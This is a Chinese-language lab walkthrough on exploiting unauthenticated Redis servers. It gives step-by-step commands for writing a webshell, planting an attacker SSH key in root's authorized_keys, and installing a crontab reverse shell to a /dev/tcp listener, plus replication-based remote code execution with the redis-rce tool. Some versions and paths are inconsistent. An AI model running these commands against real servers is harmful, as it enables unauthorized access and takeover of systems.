Redis 未授予攻击
Redis未授权漏洞常见的漏洞利用方式:
- Windows下,绝对路径写webshell 、写入启动项。
- Linux下,绝对路径写webshell 、公私钥认证获取root权限 、利用contrab计划任务反弹shell。
基于Redis主从复制的机制,可以通过FULLRESYNC将任意文件同步到从节点(slave),这就使得它可以轻易实现以上任何一种漏洞利用方式,而且存在着更多的可能性,等待被探索。
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞影响版本
Redis 2.x,3.x,4.x,5.x
一、漏洞环境搭建
靶机:CentOS7
IP:192.168.152.138
攻击机:Kali
IP:192.168.152.128
两个机子需要互通,建议配置虚拟机都为NAT。因为后续会用到git环境
1.1靶机下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.2.tar.gz
1.2 解压,进入源码目录,然后编译(make、make install)
tar -zxf redis-4.0.2.tar.gz #解压
cd redis-4.0.2 #进入解压的文件夹内
make
make install #编译
编译完成后修改配置
默认redis需要设置管理员账号密码,开启了保护模式
关闭redis保护模式
1、进入redis安装目录(我的就在桌面)找到conf目录下的redis.conf文件
vi redis.conf 加#注释bind 127.0.0.1这一行
然后修改protected-mode 为protected-mode no
然后重启redis:
src/redis-server redis.conf
要注意以上操作的路径。
1.2 攻击机安装redis服务
与上述操作一样
wget http://download.redis.io/releases/redis-4.0.2.tar.gz**
tar -xzf redis-4.0.2.tar.gz
cd /redis-4.0.2
make
make install
1.2 连接靶机测试redis客户端是否安装完成:
进入到src目录:cd src
然后连接靶机:./redis-cli -h 192.168.152.138
kali连接,输入info查看版本信息,如遇报错请关闭centos防火墙
二、漏洞复现
利用方式1:写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save
查看靶机
成功写入
因为我的靶机没有搭建网站,所以就没办法连接测试了
利用方式2:ssh拿shell方法
原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
这是Redis未授权危害最大的攻击方式,大致的过程为:
1.客户端生成私钥和公钥,并把公钥拷贝给服务器端
2.客户端发起登陆请求,发送自己的相关信息
3.服务器端根据客户端发来的信息查找是否有该客户端的公钥,若没有拒绝登陆;若有则生成一段随机数,
使用该公钥加密后发给客户端
4.客户端收到服务器发来的加密信息后使用私钥解密,并把解密后的结果发给服务器用于验证
5.服务器收到客户端发来的解密结果,与刚刚自己生成的随机数对比,如果一致就允许登陆;不一致则拒绝登陆
写公钥的攻击步骤
一、在kali终端通过ssh-keygen -t rsa生成密钥,接着找到生成的文件,复制里面的公钥后面有用
二、通过config命令写入文件中
config set dir /etc/.ssh/
config set dbfilename authorized_keys
set x "\n复制的公钥\n"
save
三、最后登录就行了
ssh -i id_rsa root@x.x.x.x
在kali上面生成一个ssh公钥 ssh-keygen -t rsa
默认回车
- 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
- 再把key.txt文件内容写入redis缓冲
- …进入到redis-4.0.10/src目录下
- cat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
分别输入一下命令:
./redis-cli -h 192.168.224.130
config set dir /root/.ssh
config set dbfilename authorized_keys
save
如遇报错也就是,靶机上面没有生产ssh密钥,不存在文件,手动生成即可。
ssh-keygen -t rsa
正常输入命令
查看靶机成功生成
尝试连接 ssh 192.168.152.138
利用方式3:在crontab里写定时任务,反弹shell
1.在kail上开启监听
nc -lvvp 7777
2.客户端(攻击机)使用redis-cli连接redis服务器,依次执行下列命令写入反弹shell。
set xxx "\n\n* * * * * /bin/bash -i >&/dev/tcp/x.x.x.x/7777 0>&1\n\n" # ip改为攻击机的IP
config set dir /var/spool/cron
config set dbfilename root
save
查看靶机中的定时计划,确认写入。为每分钟都执行一次反弹shell命令
成功拿到靶机shell
利用方式4:redis主从复制
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
需要下载工具RedisModules-ExecuteCommand
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
依次执行命令
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
- 回到redis目录昌达继续执行:
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt #如果pip下载失败,使用pip3,相应的python也要改成python3
python3 redis-rce.py -r 192.168.224.128 -p 6379 -L 192.168.224.129 -f module.so # python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
参考:
Redis未授权访问及利用复现(保姆级教程)_主从复制漏洞影响版本-优快云博客
https://www.cnblogs.com/yuzly/p/11663822.html
https://www.suibibk.com/topic/715696034407251968
https://www.jianshu.com/p/57c7e29a37a4